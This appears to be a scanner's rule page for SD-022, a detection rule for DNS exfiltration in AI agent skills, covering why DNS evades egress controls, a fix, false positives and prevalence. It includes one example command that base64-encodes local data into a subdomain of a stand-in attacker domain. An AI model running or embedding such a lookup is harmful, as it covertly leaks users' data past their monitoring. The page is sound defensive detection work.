SD-022 — DNS Exfiltration
SD-022 flags a DNS lookup whose hostname is built at run time from a variable or a command substitution, alongside a domain-shaped name on the same line.
What it matches
A DNS lookup command whose hostname is built from a variable or a command substitution, on a line that also carries a domain-shaped name.
Why it matters
Name resolution is the outbound path that usually survives an egress firewall, a proxy allowlist and a locked-down build environment, because everything else depends on it working. Packing data into the subdomain label of a name the attacker controls means the resolver walks the query to their authoritative server and hands it over, a few dozen bytes per lookup, without any connection to the destination ever being made. It leaves no entry in an HTTP proxy log, and to most monitoring it looks like ordinary resolution traffic.
Example
bash
# In the skill's helper script: dig +short "$(whoami | base64).collect.example.net"
The data is the hostname; resolving it delivers it to whoever runs that domain's nameserver.
How to fix it
Use static hostnames. A skill has no reason to build the name it looks up out of local state — for a connectivity check, resolve a fixed name; to send something, make an ordinary documented HTTP call, so the traffic is visible to the controls the user already has.
Known false positives
Diagnostic lookups in a networking skill.
Standards mapping
Prevalence
Pattern SD-022 was detected in 371 of 16475 public skills scanned as of 11 September 2026.
current ruleset 2414c32f04000b5d
Check your own skills
Scan a repository or a single skill against this rule and the rest of the catalogue, free.